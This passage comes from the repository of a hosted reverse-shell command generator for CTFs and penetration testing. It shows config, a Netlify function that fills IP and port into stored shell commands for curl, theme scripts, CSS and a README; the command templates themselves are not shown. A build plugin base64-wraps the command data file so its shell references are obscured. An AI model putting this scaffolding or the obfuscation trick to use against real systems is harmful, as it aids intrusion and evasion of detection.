├── Dockerfile
├── .gitignore
├── favicon.ico
├── assets
├── ComicMono.ttf
├── meme_doge.jpg
├── floppy-disk-solid.svg
├── axios.min.js
├── popper-1.16.1.min.js
└── bootstrap-4.5.2.min.js
├── parcel-transformer-obfuscation
├── README.md
├── package.json
└── src
│ └── index.js
├── netlify.toml
├── package.json
├── .parcelrc
├── LICENSE
├── js
├── light-mode-switch.js
├── raw-link.js
└── script.js
├── server_functions
└── raw.js
├── css
├── dark-mode.css
├── light-mode.css
└── meme-mode.css
├── .all-contributorsrc
├── README.md
└── index.html
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM fnichol/uhttpd
2 |
3 | COPY . /www
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .netlify/
2 | .parcel-cache/
3 | dist/
4 | node_modules/
5 | package-lock.json
6 |
--------------------------------------------------------------------------------
/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UberGuidoZ/reverse-shell-generator/HEAD/favicon.ico
--------------------------------------------------------------------------------
/assets/ComicMono.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UberGuidoZ/reverse-shell-generator/HEAD/assets/ComicMono.ttf
--------------------------------------------------------------------------------
/assets/meme_doge.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UberGuidoZ/reverse-shell-generator/HEAD/assets/meme_doge.jpg
--------------------------------------------------------------------------------
/parcel-transformer-obfuscation/README.md:
--------------------------------------------------------------------------------
1 | This [Parcel](https://parceljs.org/) plugin aims to obfuscate JavaScript assets as part of the netlify build process.
2 |
--------------------------------------------------------------------------------
/parcel-transformer-obfuscation/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "parcel-transformer-obfuscation",
3 | "version": "0.0.1",
4 | "private": true,
5 | "main": "src/index.js",
6 | "engines": {
7 | "parcel": "2.x"
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/netlify.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | functions = "server_functions"
3 |
4 | [dev]
5 | publish = "."
6 | port = 8888
7 | framework = "#static"
8 |
9 | [context.production]
10 | command = "npm run build"
11 | publish = "./dist"
12 |
13 | [[redirects]]
14 | from = "/*"
15 | to = "/.netlify/functions/raw"
16 | status = 200
17 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "source": "index.html",
3 | "scripts": {
4 | "build": "rm -rf ./dist && ./node_modules/.bin/parcel build"
5 | },
6 | "targets": {
7 | "default": {
8 | "sourceMap": false
9 | }
10 | },
11 | "devDependencies": {
12 | "parcel": "2.3.2",
13 | "parcel-transformer-obfuscation": "file:parcel-transformer-obfuscation"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/.parcelrc:
--------------------------------------------------------------------------------
1 | {
2 | "extends": "@parcel/config-default",
3 | "transformers": {
4 | // Leave jQuery/Bootstrap assets as-is, as they're already minified
5 | "*jquery-3.5.1.slim.min.js": [],
6 | "*bootstrap-4.5.2.min.js": [],
7 |
8 | // Additionally 'obfuscate' files which may contain shell references
9 | "*data.js": [
10 | "...",
11 | "parcel-transformer-obfuscation"
12 | ]
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/assets/floppy-disk-solid.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/parcel-transformer-obfuscation/src/index.js:
--------------------------------------------------------------------------------
1 | const parcel = require('@parcel/plugin');
2 |
3 | function base64(value) {
4 | return Buffer.from(value).toString('base64');
5 | }
6 |
7 | module.exports = new parcel.Transformer({
8 | loadConfig({ config, options }) {
9 | return config
10 | },
11 |
12 | async transform({ asset, config, options, logger}) {
13 | const source = await asset.getCode();
14 |
15 | // Replace the asset with the 'obfuscated' script that will be evaluated on page load
16 | const obfuscated_source = base64(source)
17 | asset.setCode(`Function(atob("${obfuscated_source}"))();`);
18 | asset.setMap(null);
19 |
20 | return [asset];
21 | }
22 | });
23 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Ryan Montgomery
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/js/light-mode-switch.js:
--------------------------------------------------------------------------------
1 | var themeSelector = $("#theme-selector");
2 | window.addEventListener("load", function () {
3 | if (themeSelector) {
4 | initTheme();
5 | themeSelector.on('change', function() {
6 | resetTheme(this.value);
7 | });
8 | }
9 | });
10 |
11 | /**
12 | * Summary: function that adds or removes the attribute 'data-theme' depending if
13 | * the switch is 'on' or 'off'.
14 | *
15 | * Description: initTheme is a function that uses localStorage from JavaScript DOM,
16 | * to store the value of the HTML switch. If the switch was already switched to
17 | * 'on' it will set an HTML attribute to the body named: 'data-theme' to a 'light'
18 | * value. If it is the first time opening the page, or if the switch was off the
19 | * 'data-theme' attribute will not be set.
20 | * @return {void}
21 | */
22 | function initTheme() {
23 | var currentTheme = localStorage.getItem("currentTheme");
24 |
25 | if (currentTheme == null) {
26 | document.body.removeAttribute("data-theme")
27 | } else {
28 | document.body.setAttribute("data-theme", currentTheme)
29 | $("#theme-selector").val(currentTheme).change();
30 | }
31 | }
32 |
33 | /**
34 | * Summary: resetTheme checks if the switch is 'on' or 'off' and if it is toggled
35 | * on it will set the HTML attribute 'data-theme' to light so the light-theme CSS is
36 | * applied.
37 | * @return {void}
38 | */
39 | function resetTheme(currentTheme) {
40 | if (currentTheme !== "dark") {
41 | document.body.setAttribute("data-theme", currentTheme);
42 | localStorage.setItem("currentTheme", currentTheme);
43 | } else {
44 | document.body.removeAttribute("data-theme");
45 | localStorage.removeItem("currentTheme");
46 | }
47 | }
--------------------------------------------------------------------------------
/js/raw-link.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Generates a RawLink for the reverse shell generator. If the user hasn't changed
3 | * the default generated shell command, the generated URL will contain the original
4 | * parameters to generate the required command on demand.
5 | *
6 | * Otherwise a unique URL is created which inlined the current user provided command.
7 | */
8 | const RawLink = {
9 | generate: (rsg) => {
10 | const commandSelector = rsg.uiElements[rsg.commandType].command;
11 | const currentCommandElement = document.querySelector(commandSelector);
12 | const defaultGeneratedCommand = rsg.generateReverseShellCommand();
13 | const isUserProvidedCommand = currentCommandElement.innerHTML != RawLink.escapeHTML(defaultGeneratedCommand);
14 |
15 | if (isUserProvidedCommand) {
16 | return RawLink.withCustomValue(currentCommandElement.innerText)
17 |
18 | }
19 | return RawLink.withDefaultPayload(rsg);
20 | },
21 |
22 | escapeHTML(html) {
23 | var element = document.createElement('div');
24 | element.innerHTML = html;
25 | return element.innerHTML;
26 | },
27 |
28 | withDefaultPayload: (rsg) => {
29 | const name = rsg.selectedValues[rsg.commandType];
30 | const queryParams = new URLSearchParams();
31 | queryParams.set('ip', rsg.getIP());
32 | queryParams.set('port', rsg.getPort());
33 | queryParams.set('shell', rsg.getShell());
34 | queryParams.set('encoding', rsg.getShell());
35 |
36 | return `/${encodeURIComponent(name)}?${queryParams}`
37 | },
38 |
39 | withCustomValue: (value) => {
40 | const queryParams = new URLSearchParams();
41 | queryParams.set('value', value)
42 | return `/raw?${queryParams}`
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/server_functions/raw.js:
--------------------------------------------------------------------------------
1 | const { rsgData } = require("../js/data.js");
2 |
3 | const insertParameters = function (command, params) {
4 | // TODO: Extract the inlined JS from index.html into a new file,
5 | // so the insertParameters + encoding logic can be reused
6 | const encoder = (value) => value;
7 |
8 | return command
9 | .replace(encoder('{ip}'), encoder(params.ip))
10 | .replace(encoder('{port}'), encoder(String(params.port)))
11 | .replace(encoder('{shell}'), encoder(params.shell))
12 | }
13 |
14 | const generateCommand = function (event, _context) {
15 | const { path, queryStringParameters } = event;
16 |
17 | const requiredName = decodeURIComponent(path.substring(1));
18 | const selectedItem = rsgData.reverseShellCommands.find(function ({ name }) {
19 | return requiredName === name;
20 | });
21 |
22 | if (!selectedItem) {
23 | return {
24 | statusCode: 401,
25 | body: `Command name '${requiredName}' not found`
26 | }
27 | }
28 |
29 | const { command } = selectedItem;
30 | const result = insertParameters(command, queryStringParameters);
31 |
32 | return {
33 | statusCode: 200,
34 | body: result
35 | }
36 | }
37 |
38 | const extractRawValue = function (event) {
39 | const { queryStringParameters } = event;
40 |
41 | return {
42 | statusCode: 200,
43 | body: queryStringParameters.value
44 | }
45 | }
46 |
47 | exports.handler = async function (event, _context) {
48 | const { queryStringParameters } = event;
49 | const defaultHeaders = { headers: { 'Content-Type': "text/plain;charset=UTF-8" } };
50 | if (queryStringParameters.value) {
51 | return {
52 | ...defaultHeaders,
53 | ...extractRawValue(event)
54 | }
55 | }
56 | return {
57 | ...defaultHeaders,
58 | ...generateCommand(event)
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/css/dark-mode.css:
--------------------------------------------------------------------------------
1 |
2 | body {
3 | background-color: #0f0f0f !important;
4 | }
5 |
6 | .prompt-sign {
7 | position: absolute;
8 | top: 25px;
9 | left: 40px;
10 | pointer-events: none;
11 | font-size: 1em;
12 | }
13 |
14 | .highlighted-parameter {
15 | color: #426992;
16 | font-weight: bold;
17 | font-size: 1em;
18 | }
19 |
20 | .highlighted-warning {
21 | color: red;
22 | font-weight: bold;
23 | }
24 |
25 | .custom-switch label {
26 | cursor: pointer;
27 | user-select: none;
28 | }
29 |
30 | .nav-tabs {
31 | border-bottom: none !important;
32 | }
33 |
34 | .nav-tabs .nav-link:hover {
35 | background-color: #375a7f;
36 | }
37 |
38 | .nav-tabs .nav-link.active {
39 | background-color: #375a7f;
40 | }
41 |
42 | _:-ms-fullscreen, :root body {
43 | /* IE11 */
44 | overflow-y: scroll;
45 | }
46 |
47 | #listener-command {
48 | border: none !important;
49 | border-radius: 5px;
50 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */
51 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px;
52 | }
53 |
54 | #reverse-shell-command {
55 | border: none !important;
56 | border-radius: 5px;
57 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */
58 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px;
59 | background-color: rgb(70, 70, 70);
60 | max-height: 20rem;
61 | }
62 |
63 | #bind-shell-command {
64 | border: none !important;
65 | border-radius: 5px;
66 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */
67 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px;
68 | background-color: rgb(70, 70, 70);
69 | max-height: 20rem;
70 | }
71 |
72 | #msfvenom-command {
73 | border: none !important;
74 | border-radius: 5px;
75 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */
76 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px;
77 | background-color: rgb(70, 70, 70);
78 | max-height: 20rem;
79 | }
80 |
81 | #hoaxshell-command {
82 | border: none !important;
83 | border-radius: 5px;
84 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */
85 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px;
86 | background-color: rgb(70, 70, 70);
87 | max-height: 20rem;
88 | }
89 |
90 | #theme-selector {
91 | width: 100px;
92 | height: 30px;
93 | font-size: 13px;
94 | margin-top: 5px;
95 | }
96 |
97 | .custom-select {
98 | background-color: #646464;
99 | color: white;
100 | }
101 |
102 | .container {
103 | padding: 20px;
104 | border-radius: 20px;
105 | box-shadow: rgb(0, 0, 0) 0px 13px 27px -5px, rgb(0, 0, 0) 0px 8px 16px -8px;
106 | height: 100% !important;
107 | background: #202020;
108 | margin: 20px auto;
109 | }
110 |
111 | h2 {
112 | color: white;
113 | text-align: center;
114 | }
115 |
116 | .pre-wrap {
117 | white-space: pre-wrap;
118 | }
119 |
120 | .card-body {
121 | max-height: 40rem;
122 | }
123 |
124 | .list-group-item.active, .list-group-item-action:focus, .list-group-item-action:hover {
125 | background-color: #375a7f;
126 | }
127 |
128 | .github-corner:hover .octo-arm {
129 | animation: octocat-wave 560ms ease-in-out
130 | }
131 |
132 | .download-svg {
133 | height: 20px;
134 | width: 20px;
135 | filter: invert(100%) sepia(0%) saturate(7497%) hue-rotate(347deg) brightness(103%) contrast(99%);
136 | }
137 | .download-svg:hover {
138 | filter: invert(100%) sepia(0%) saturate(7497%) hue-rotate(347deg) brightness(50%) contrast(99%);
139 | }
140 | @keyframes octocat-wave {
141 | 0%, 100% {
142 | transform: rotate(0)
143 | }
144 | 20%, 60% {
145 | transform: rotate(-25deg)
146 | }
147 | 40%, 80% {
148 | transform: rotate(10deg)
149 | }
150 | }
151 |
152 | @media (max-width:500px) {
153 | .github-corner:hover .octo-arm {
154 | animation: none
155 | }
156 | .github-corner .octo-arm {
157 | animation: octocat-wave 560ms ease-in-out
158 | }
159 | }
160 |
161 | button {
162 | outline: none;
163 | }
164 |
165 | .shadow {
166 | margin-bottom: 0px !important;
167 | }
168 |
169 | .middle-card {
170 | min-height: 500px;
171 | max-height: 100%;
172 | overflow-y: auto;
173 | padding: 1.5rem;
174 | }
--------------------------------------------------------------------------------
/.all-contributorsrc:
--------------------------------------------------------------------------------
1 | {
2 | "files": [
3 | "README.md"
4 | ],
5 | "imageSize": 100,
6 | "commit": false,
7 | "contributors": [
8 | {
9 | "login": "0dayCTF",
10 | "name": "Ryan Montgomery",
11 | "avatar_url": "https://avatars.githubusercontent.com/u/44453666?v=4",
12 | "profile": "http://ryanmontgomery.me",
13 | "contributions": [
14 | "review"
15 | ]
16 | },
17 | {
18 | "login": "briskets",
19 | "name": "Chris Wild",
20 | "avatar_url": "https://avatars.githubusercontent.com/u/58673953?v=4",
21 | "profile": "https://briskets.io",
22 | "contributions": [
23 | "projectManagement",
24 | "tool",
25 | "infra",
26 | "design"
27 | ]
28 | },
29 | {
30 | "login": "Papadope",
31 | "name": "Chris Papadopoulos",
32 | "avatar_url": "https://avatars.githubusercontent.com/u/28659477?v=4",
33 | "profile": "https://papadope.net/",
34 | "contributions": [
35 | "design"
36 | ]
37 | },
38 | {
39 | "login": "AlanFoster",
40 | "name": "Alan Foster",
41 | "avatar_url": "https://avatars.githubusercontent.com/u/1271782?v=4",
42 | "profile": "https://www.alanfoster.me/",
43 | "contributions": [
44 | "infra"
45 | ]
46 | },
47 | {
48 | "login": "MuirlandOracle",
49 | "name": "AG",
50 | "avatar_url": "https://avatars.githubusercontent.com/u/58998623?v=4",
51 | "profile": "https://muir.land",
52 | "contributions": [
53 | "maintenance"
54 | ]
55 | },
56 | {
57 | "login": "0x03f3",
58 | "name": "Joseph Rose",
59 | "avatar_url": "https://avatars.githubusercontent.com/u/24409121?v=4",
60 | "profile": "https://github.com/0x03f3",
61 | "contributions": [
62 | "ideas"
63 | ]
64 | },
65 | {
66 | "login": "JabbaSec",
67 | "name": "Jabba",
68 | "avatar_url": "https://avatars.githubusercontent.com/u/68778279?v=4",
69 | "profile": "https://github.com/JabbaSec",
70 | "contributions": [
71 | "data"
72 | ]
73 | },
74 | {
75 | "login": "Jake-Ruston",
76 | "name": "Jake Ruston",
77 | "avatar_url": "https://avatars.githubusercontent.com/u/22551835?v=4",
78 | "profile": "http://www.jake-ruston.com",
79 | "contributions": [
80 | "data"
81 | ]
82 | },
83 | {
84 | "login": "H0j3n",
85 | "name": "Muhammad Ali",
86 | "avatar_url": "https://avatars.githubusercontent.com/u/51261763?v=4",
87 | "profile": "https://h0j3n.github.io/",
88 | "contributions": [
89 | "tool"
90 | ]
91 | },
92 | {
93 | "login": "edrapac",
94 | "name": "edrapac",
95 | "avatar_url": "https://avatars.githubusercontent.com/u/33971688?v=4",
96 | "profile": "http://sprucelab.site",
97 | "contributions": [
98 | "tool"
99 | ]
100 | },
101 | {
102 | "login": "epi052",
103 | "name": "epi",
104 | "avatar_url": "https://avatars.githubusercontent.com/u/43392618?v=4",
105 | "profile": "https://epi052.gitlab.io/notes-to-self/",
106 | "contributions": [
107 | "tool"
108 | ]
109 | },
110 | {
111 | "login": "bee-san",
112 | "name": "Brandon",
113 | "avatar_url": "https://avatars.githubusercontent.com/u/10378052?v=4",
114 | "profile": "https://skerritt.blog",
115 | "contributions": [
116 | "code"
117 | ]
118 | },
119 | {
120 | "login": "robiot",
121 | "name": "Robiot",
122 | "avatar_url": "https://avatars.githubusercontent.com/u/68228472?v=4",
123 | "profile": "https://robiot.github.io/",
124 | "contributions": [
125 | "content",
126 | "maintenance"
127 | ]
128 | },
129 | {
130 | "login": "Hydragyrum",
131 | "name": "Adam Bertrand",
132 | "avatar_url": "https://avatars.githubusercontent.com/u/4928181?v=4",
133 | "profile": "https://github.com/Hydragyrum",
134 | "contributions": [
135 | "content"
136 | ]
137 | },
138 | {
139 | "login": "rohitkumarankam",
140 | "name": "Rohit Kumar Ankam",
141 | "avatar_url": "https://avatars.githubusercontent.com/u/70012972?v=4",
142 | "profile": "http://rohitkumarankam.com",
143 | "contributions": [
144 | "tool"
145 | ]
146 | },
147 | {
148 | "login": "t3l3machus",
149 | "name": "Panagiotis Chartas",
150 | "avatar_url": "https://avatars.githubusercontent.com/u/75489922?v=4",
151 | "profile": "https://github.com/t3l3machus",
152 | "contributions": [
153 | "infra",
154 | "tool"
155 | ]
156 | }
157 | ],
158 | "contributorsPerLine": 7,
159 | "projectName": "reverse-shell-generator",
160 | "projectOwner": "0dayCTF",
161 | "repoType": "github",
162 | "repoHost": "https://github.com",
163 | "skipCi": true,
164 | "commitConvention": "angular"
165 | }
166 |
--------------------------------------------------------------------------------
/css/light-mode.css:
--------------------------------------------------------------------------------
1 | /*
2 | Ain't got time for using CSS the right way. !important everything!
3 | */
4 |
5 | [data-theme="light"] {
6 | background-color: #E1E1E1 !important;
7 | }
8 |
9 | [data-theme="light"] .card {
10 | background-color: white !important;
11 | color: #000;
12 | }
13 |
14 | [data-theme="light"] .bg-white {
15 | background-color: rgb(221, 215, 215) !important;
16 | }
17 |
18 | [data-theme="light"] .bg-dark {
19 | background-color: #ecefff !important;
20 | }
21 |
22 | [data-theme="light"] .github-corner > svg{
23 | fill: #151513 !important;
24 | color: #fff !important;
25 | }
26 |
27 | [data-theme="light"] .rainbow {
28 | color: #000;
29 | }
30 |
31 | [data-theme="light"] .prompt-sign {
32 | position: absolute;
33 | top: 25px;
34 | left: 40px;
35 | pointer-events: none;
36 | font-size: 1em;
37 | color: #2e3e86;
38 | }
39 |
40 | [data-theme="light"] .input-group-text {
41 | background-color: #c0c8f1;
42 | color: #000;
43 | }
44 |
45 | [data-theme="light"] .btn {
46 | background-color: #1e63b8;
47 | color: #fff;
48 | border: none;
49 | }
50 |
51 | [data-theme="light"] .highlighted-parameter {
52 | color: #7223b5;
53 | font-weight: bold;
54 | font-size: 1em;
55 | }
56 |
57 | [data-theme="light"] .highlighted-warning {
58 | color: red;
59 | font-weight: bold;
60 | }
61 |
62 | [data-theme="light"] .custom-switch label {
63 | cursor: pointer;
64 | user-select: none;
65 | }
66 |
67 | [data-theme="light"] .custom-control-input:checked~.custom-control-label::before {
68 | background-color: #7223b5;
69 | }
70 |
71 | [data-theme="light"] #listener-command {
72 | border: none !important;
73 | border-radius: 5px;
74 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/
75 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px;
76 | background-color: rgb(45, 139, 135);
77 | color: #000;
78 | }
79 |
80 | [data-theme="light"] #reverse-shell-command {
81 | border: none !important;
82 | border-radius: 5px;
83 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/
84 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px;
85 | background-color: rgb(45, 139, 135);
86 | color: #000;
87 | max-height: 20rem;
88 | }
89 |
90 | [data-theme="light"] #bind-shell-command {
91 | border: none !important;
92 | border-radius: 5px;
93 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/
94 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px;
95 | background-color: rgb(45, 139, 135);
96 | color: #000;
97 | max-height: 20rem;
98 | }
99 |
100 | [data-theme="light"] #msfvenom-command {
101 | border: none !important;
102 | border-radius: 5px;
103 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/
104 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px;
105 | background-color: rgb(45, 139, 135);
106 | color: #000;
107 | max-height: 20rem;
108 | }
109 |
110 | [data-theme="light"] #hoaxshell-command {
111 | border: none !important;
112 | border-radius: 5px;
113 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/
114 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px;
115 | background-color: rgb(45, 139, 135);
116 | color: #000;
117 | max-height: 20rem;
118 | }
119 |
120 | [data-theme="light"] .custom-select {
121 | background-color: #f2f2f2;
122 | color: #000;
123 | border-color: #e4e3e2;
124 | }
125 |
126 | [data-theme="light"] .nav-link {
127 | color: #000;
128 | background: transparent;
129 | box-shadow: 5px 5px 5px 0px rgba(209, 209, 209, 0.75);
130 | border: none;
131 | }
132 |
133 | [data-theme="light"] .nav-link:hover {
134 | background-color: #c0c8f1;
135 | }
136 |
137 | [data-theme="light"] .nav-link.active {
138 | background-color: #1e63b8;
139 | color:#fff;
140 | }
141 |
142 | [data-theme="light"] .custom-control-input:checked {
143 | color: #000;
144 | }
145 |
146 | [data-theme="light"] a {
147 | background-color: #f1c6ce;
148 | color: #000;
149 | }
150 |
151 | [data-theme="light"] .list-group-item {
152 | background-color: #ecefff;
153 | color: #000;
154 | border-color: #AAA;
155 | }
156 |
157 | [data-theme="light"] .list-group-item.active {
158 | background-color: #586edd;
159 | border-color: #444;
160 | }
161 |
162 | [data-theme="light"] .list-group-item:hover {
163 | background-color: #c0c8f1;
164 | }
165 |
166 | [data-theme="light"] .list-group-item.hover {
167 | background-color: #c0c8f1;
168 | }
169 |
170 | [data-theme="light"] .container {
171 | padding: 20px;
172 | border-radius: 20px;
173 | box-shadow: rgba(50, 50, 93, 0.25) 0px 13px 27px -5px, rgba(0, 0, 0, 0.3) 0px 8px 16px -8px;
174 | height: 100% !important;
175 | background: #fff;
176 | margin: 20px auto;
177 | }
178 |
179 | [data-theme="light"] .card-title {
180 | color: #000 !important;
181 | }
182 |
183 | [data-theme="light"] .custom-control-label {
184 | color: black;
185 | }
186 |
187 | [data-theme="light"] h2 {
188 | color: white;
189 | text-align: center;
190 | }
191 |
192 | [data-theme="light"] .pre-wrap {
193 | white-space: pre-wrap;
194 | }
195 |
196 | [data-theme="light"] .card-body {
197 | max-height: 40rem;
198 | }
199 | [data-theme="light"] .download-svg {
200 | filter: none;
201 | }
202 | [data-theme="light"] .download-svg:hover {
203 | filter: opacity(50%);
204 | }
205 | @font-face {
206 | font-family: "Comic Mono";
207 | src: url(../assets/ComicMono.ttf);
208 | }
209 |
210 | .shadow {
211 | margin-bottom: 0px !important;
212 | }
213 |
214 | a[href*="t3l3machus"] {
215 | /* Fixes a minor style bug of the "Download Listener" button */
216 | background: none;
217 | }
218 |
219 | .middle-card {
220 | min-height: 500px;
221 | max-height: 100%;
222 | overflow-y: auto;
223 | padding: 1.5rem;
224 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # reverse-shell-generator
2 |
3 | [](#contributors-)
4 |
5 | Hosted Reverse Shell generator with a ton of functionality -- (great for CTFs)
6 |
[](https://app.netlify.com/sites/brave-swartz-5dcdab/deploys)
7 |
8 | ### Hosted Instance
9 | https://revshells.com
10 |
11 | ### Features
12 |
13 | - Generate common listeners and reverse shells
14 | - Save button to download Payloads from browser.
15 | - Raw mode to cURL shells to your machine.
16 | - Button to increment the listening port number by 1
17 | - URI and Base64 encoding
18 | - LocalStorage to persist your configuration
19 | - Dark, Light and Meme Modes
20 | - HoaxShell integration with custom listener (see link below for more information) | Credit: https://github.com/t3l3machus
21 |
22 | ### HoaxShell Listener Docs
23 |
24 | [https://github.com/t3l3machus/hoaxshell/tree/main/revshells](https://github.com/t3l3machus/hoaxshell/tree/main/revshells)
25 |
26 | ### Screenshot
27 |
28 | 
29 |
30 | ## Dev
31 |
32 | It's recommended to use the netlify dev command if you're wanting to modify any of the server functions, such as for raw link support:
33 |
34 | ```
35 | npx netlify dev
36 | ```
37 |
38 | ## Using Docker
39 | Simply run the following commands within this repository to spin up the instance locally using a Docker container
40 |
41 | ```
42 | docker build -t reverse_shell_generator .
43 |
44 | docker run -d -p 80:80 reverse_shell_generator
45 | ```
46 |
47 | Browse to http://localhost:80
48 |
49 | ## Contributors ✨
50 |
51 | Thanks goes to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)):
52 |
53 |
54 |
55 |
56 |
82 |
83 |
84 |
85 |
86 |
87 |
88 | This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome!
89 |
--------------------------------------------------------------------------------
/css/meme-mode.css:
--------------------------------------------------------------------------------
1 | /*
2 | Ain't got time for using CSS the right way. !important everything!
3 | */
4 |
5 | [data-theme="meme"] {
6 | background-color: pink !important;
7 | }
8 |
9 | [data-theme="meme"] .card {
10 | background-color: rgb(175, 139, 173) !important;
11 | color: #000;
12 | }
13 |
14 | [data-theme="meme"] .bg-white {
15 | background-color: rgb(221, 215, 215) !important;
16 | }
17 |
18 | [data-theme="meme"] .bg-dark {
19 | background-color: rgb(231, 212, 224) !important;
20 | }
21 |
22 | [data-theme="meme"] .github-corner > svg{
23 | fill: #151513 !important;
24 | color: #fff !important;
25 | }
26 |
27 | [data-theme="meme"] .rainbow {
28 | text-shadow: 2px 2px 4px #000;
29 | font-size: 40px;
30 | -webkit-animation: rainbow 5s infinite;
31 | -ms-animation: rainbow 5s infinite;
32 | animation: rainbow 5s infinite;
33 | font-family: 'Comic Mono';
34 | }
35 |
36 | [data-theme="meme"] .prompt-sign {
37 | position: absolute;
38 | top: 25px;
39 | left: 40px;
40 | pointer-events: none;
41 | font-size: 1em;
42 | color: #2e3e86;
43 | }
44 |
45 | [data-theme="meme"] .input-group-text {
46 | background-color: #f1c6ce;
47 | color: #000;
48 | }
49 |
50 | [data-theme="meme"] .btn {
51 | background-color: #a56096;
52 | color: #000;
53 | border-color: #a56096;
54 | }
55 |
56 | [data-theme="meme"] .highlighted-parameter {
57 | color: #7223b5;
58 | font-weight: bold;
59 | font-size: 1em;
60 | }
61 |
62 | [data-theme="meme"] .highlighted-warning {
63 | color: red;
64 | font-weight: bold;
65 | }
66 |
67 | [data-theme="meme"] .custom-switch label {
68 | cursor: pointer;
69 | user-select: none;
70 | }
71 |
72 | [data-theme="meme"] .custom-control-input:checked~.custom-control-label::before {
73 | background-color: #7223b5;
74 | }
75 |
76 | [data-theme="meme"] #listener-command {
77 | border: none !important;
78 | border-radius: 5px;
79 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */
80 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75);
81 | background-color: rgb(45, 139, 135);
82 | color: #000;
83 | }
84 |
85 | [data-theme="meme"] #reverse-shell-command {
86 | border: none !important;
87 | border-radius: 5px;
88 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */
89 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75);
90 | background-color: rgb(45, 139, 135);
91 | color: #000;
92 | max-height: 20rem;
93 | }
94 |
95 | [data-theme="meme"] #bind-shell-command {
96 | border: none !important;
97 | border-radius: 5px;
98 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */
99 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75);
100 | background-color: rgb(45, 139, 135);
101 | color: #000;
102 | max-height: 20rem;
103 | }
104 |
105 | [data-theme="meme"] #msfvenom-command {
106 | border: none !important;
107 | border-radius: 5px;
108 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */
109 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75);
110 | background-color: rgb(45, 139, 135);
111 | color: #000;
112 | max-height: 20rem;
113 | }
114 |
115 | [data-theme="meme"] #hoaxshell-command {
116 | border: none !important;
117 | border-radius: 5px;
